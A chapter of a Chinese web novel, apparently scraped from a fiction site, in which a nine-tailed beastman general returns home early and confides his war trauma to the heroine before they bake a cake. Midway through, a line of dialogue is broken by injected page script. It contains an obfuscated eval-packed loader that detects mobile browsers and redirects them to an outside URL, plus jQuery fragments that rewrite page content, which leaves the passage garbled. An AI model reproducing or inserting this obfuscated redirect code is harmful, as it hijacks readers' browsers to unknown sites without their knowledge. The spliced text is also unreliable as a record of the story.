白彦回来的时候是上午。


    这和他过去几天的习惯不一样，之前在舰船的时候，他通常是下午才会出现，或者干脆在舰船上处理完一整天的事，等到快晚饭的时候才踱进来，带着一身凉凉的气息，蹭一顿饭，然后再慢悠悠地把尾巴铺开。


    但今天他是上午回来的。


    祝央在书房里上课，赫莲德正在讲星际外交礼仪里的一些细节，讲到一半，听见了玄关那边开门的声音，停了一下，侧耳，然后继续往下说，“所以在面对帝国贵族时，第一次见面的问候需要等对方先开口，这是帝国沿用了几百年的礼仪传统，主动开口在他们的文化里有越俎代庖的含义……”


    祝央在课本边上记了一行字，同时把耳朵往玄关方向支了支。


    那边的动静很轻，是外套挂上衣架的声音，是换鞋的声音，然后是脚步声，往客厅方向走，没有来书房。


    赫莲德讲完了这一段，合上手边的册子，“今天到这里，剩下的明天继续。”


    “今天结束得早。”祝央有点意外，“还有半个小时呢。”


    “你分心了。”赫莲德平静地说，“分心的时候继续上课，记住的东西打折扣，不如停下来。”


    祝央没有反驳，因为他说的是真的，“好。”


    她把课本收起来，站起身，走出书房。


    客厅里，白彦坐在靠窗的那张单人沙发上。


    他今天穿得比平时随意，是一件很普通的白色宽松上衣，袖口卷到了手肘，银发没有束起来，散着，一缕垂在耳边，那九条尾巴只露出了两条，在身后懒洋洋地搭着，没有平时那种张扬的铺展。


    他手里端着一杯不知道从哪里找来的温水，没在喝，只是端着，眼神落在窗外，不知道在看什么。


    管家机器人在旁边转了一圈，电子眼扫了扫他，屏幕上闪了个问号，然后识趣地滑开了。


    祝央走进来，在他对面的沙发上坐下，没有立刻说话，把他这个状态看了一会儿。


    白彦像是这才察觉到有人来了，侧过头，看见祝央，“课上完了？”


    “赫莲德让我提前结束，他说我分心了。”祝央说。


    “分心？你在想什么？”


    “想你怎么上午就回来了。”她直接说。


    白彦把视线重新移回窗外，没有立刻答，端着那杯水，手指在杯壁上轻轻摩挲了一下，“没什么，就是想早点回来。”


    祝央看着他，“白彦，你昨晚发消息问我吃什么了。”


    “嗯。”他应了一声。


    “你很少主动发消息。”她说，“通常都是我找你，或者你在这里的时候当面说，“她停了一下，“昨晚发消息，是因为出了什么事。”


    白彦低下头，看着手里那杯水，水面很平，把窗外的天光接了一小块进来，他的目光在那一小块光里待了一会儿，然后开口，“军部发了个内部备忘，建议我尽快回边境。”他说，语气平，但不是那种漫不经心的平，是某种东西被压住了的平，“说是为了安定军心。”


    祝央没有立刻说话，让那句话在空气里顿了一会儿。


    “然后呢？”她问。


    “然后我给参谋长打了电话。”白彦说，“把该说的说清楚了，备忘的事处理好了，没有问题。”他顿了一下，“但说完之后，在那个指挥室里坐着，我就是想发条消息问问你们今天吃什么了。”


    他说这句话的时候，语气软软的。


    祝央没有急着说什么，先给他留了一点时间。


    外面的天光从窗子里斜斜地打进来，落在白彦那件白色上衣上，把他整个人的轮廓照得很清楚，他只是坐在那里，好像很忧伤。


    “白彦。”祝央开口，“你在边境，是一直都在，还是中间回来过？”


    白彦想了想，“中间回来过几次，但都是为了任务，不超过一个月，然后再回去。”他说，“边境那个地方，你待久了，会觉得核心星区的一切都像是某种布景，太假，太精致，但你回来之后，又觉得边境的那种粗粝和混乱是另一种假。”他停了一下，“我不知道哪个是真的，大概都是真的，但我在哪里都像是个过客。”


    祝央安静地听完这段话，这是白彦第一次对她说这么长的这么直接的东西，不带任何玩笑，不绕任何弯，就是把那个东西拿出来放在那里。


    “那你在这里呢？”她问，“在这个公寓里，也是过客的感觉吗？”


    白彦抬起眼，看向她，那双棕红色的眸子里有什么东西在动，他没有立刻回答，而是把那个问题在脑子里转了一遍，很认真地转，不是敷衍。


    “不一样。”他最后说，声音比刚才低了一点，“在这里，我知道下午几点吃饭，知道莱昂今天在书房还是在客厅，知道赫莲德昨晚那本书翻到哪一章。”他停顿了一下，“知道你昨晚喝的那个汤，你说没有我控制温度做的好。”


    他看着她，“我不知道这算不算真的，但它和边境不一样，和核心星区的那些应酬也不一样，它是有重量的，那种重量不是负担，是……”他找了一下词，“是压舱石。”


    祝央把这个词在嘴里念了一遍，压舱石。


    “你知道这个词。”她说，“是船底放的那种。”


    “嗯。”白彦说，“让船稳的，不让它被风浪翻掉的，“他把目光从她身上移开，重新落回窗外，“我的精神领域出问题这件事，你知道的。”


    “知道一点。”祝央说，“赫莲德告诉过我一些，说边境的厮杀折磨着你的神经。”


    “不只是厮杀。”白彦说，“是那些死在我眼前的人，我记得他们每一个，名字，脸，死之前说的最后一句话，“他把杯子放到茶几上，两只手交叠放在膝盖上，低着头，“兽人的记忆力比人类强，这有时候是很残忍的事，你会忘记的，但我忘不掉。”


    “那些人的名字，你现在还记得吗？”祝央轻声问。


    “记得。”白彦说，“每一个，“他顿了顿，“有时候精神领域崩溃的时候，他们会全部出现，站在那里看着我，不说话，就是看着，那种感觉……”他没有把那个感觉说完，但祝央听见了他的呼吸在收紧。


    客厅里很安静，管家机器人没有出来，莱昂在书房，赫莲德应该也是，整个公寓像是在这一刻把空间让出来了，让这两个人待在那个安静里。


    祝央站起身，走到白彦旁边，在那张单人沙发的扶手上坐下来。


    白彦侧过头，看见她就坐在旁边，那个距离近到他能感觉到她身上的温度，他没有说话，只是把头微微低了一下。


    “你记得他们，这件事本身就很难得。”祝央最后开口，声音不大，落在那个安静里不显得突兀，“这不是折磨，是你对他们的善意和尊敬。”她停了一下，“是你对他们的意义。”


    她继续说，“你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396941|198881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要是忘了，那才是真的失去了什么。”


    白彦没有说话，但他把那句话听进去了。


    过了很长一段时间，白彦开口，“央央。”


    “嗯。”


    “我这次回核心星区。”他说，“很多人以为是因为那个监护人的位置，是争夺，是政治上的动作。”他顿了顿，“但我第一次在那个全息投影里看见你的时候，不是这么想的。”他说得很慢，“我的精神领域每天都在崩溃，那些声音，那些脸，一直都在，但是那次我看见你，第一次，那些声音轻了，就轻了那么一下，很短，可能就几秒，但那是这几十年来第一次轻了。”他抬起头，看向她，“所以我回来了，不是为了争什么，就是因为那几秒。”


    祝央坐在扶手上，把这段话从头到尾听完了，没有打断。


    听完之后，她沉默了一会儿，然后把手搭在了白彦的肩膀上，力道很轻，“白彦，你说那些声音轻了，是因为我让你平静了，还是因为你突然想到了别的什么事。”她停了一下，“还是因为你只是，终于看见了一个不需要你去战斗，不需要你去保护什么，只是活着的人？”


    白彦愣了一下，那双棕红色的眸子里有什么东西被说准了，他在那种被说准的感觉里停留了一会儿，最终轻轻笑了一声，那个笑好像在自嘲，“都有吧。”


    “那就都是真的。”祝央说。


    她把手从他肩膀上收回来，重新坐端正，“白彦，那个备忘的事，军部那边会继续有压力吗？”


    “会。”他直接说，“但我处理过了，短期内不会有正式的要求，“他拿起那杯水，喝了一口，“等这个月结束，监护的事稳定了，我会重新规划一下时间，不能一直扔在那边不管。”


    “那你会走多久？”


    “说不准。”他说，“但我会回来，“他把杯子放下，侧过头看她，“这回说的是真的，不是安慰。”


    祝央把这句话听进去，点了点头，“好。”她说，“那在走之前，你有没有什么想在这里做的，或者想吃的，想去的地方。”


    白彦把这个问题听完，想了一会儿，脸上慢慢浮出了一个比之前自然得多的笑，“我想吃你做的蛋糕，上次欧文先生做的，你学了，但还没给我做过。”


    祝央想了想，“我做的不一定有欧文先生的好，比例我记住了，但火候那里还差一点。”


    “差一点也行。”白彦说，“就是想吃你做的。”


    “那今天下午。”祝央站起身，“我去厨房，你来看着，要是我哪里做错了你提醒我，但不准上手，你上次切菜的事我还记得。”


    白彦大笑出声，那是今天早上他第一次真正放开来笑，那个声音在客厅里回荡了一下，惊动了走廊那边的赫莲德，对方在书房里动了一下，但没有出来。


    管家机器人从角落里悄悄滑出来，电子眼扫了扫客厅，屏幕上显示出一个细小的感叹号，随即换成了一个圆圆的笑脸，然后又悄悄滑回去了。


    白彦跟着祝央往厨房方向走，一边走一边说，“我那天切的那些，其实也不是太差，就是稍微厚了一点……”


    “厚薄不均加歪。”祝央拉开厨房的门，调皮地笑了一下。


    白彦跟进厨房，在操作台旁边的高脚椅上坐下，把下巴撑在手心上，看着祝央去找那包谷物，那九条尾巴重新铺展开来，他就这样坐着，安安静静地看着祝央在厨房里忙活。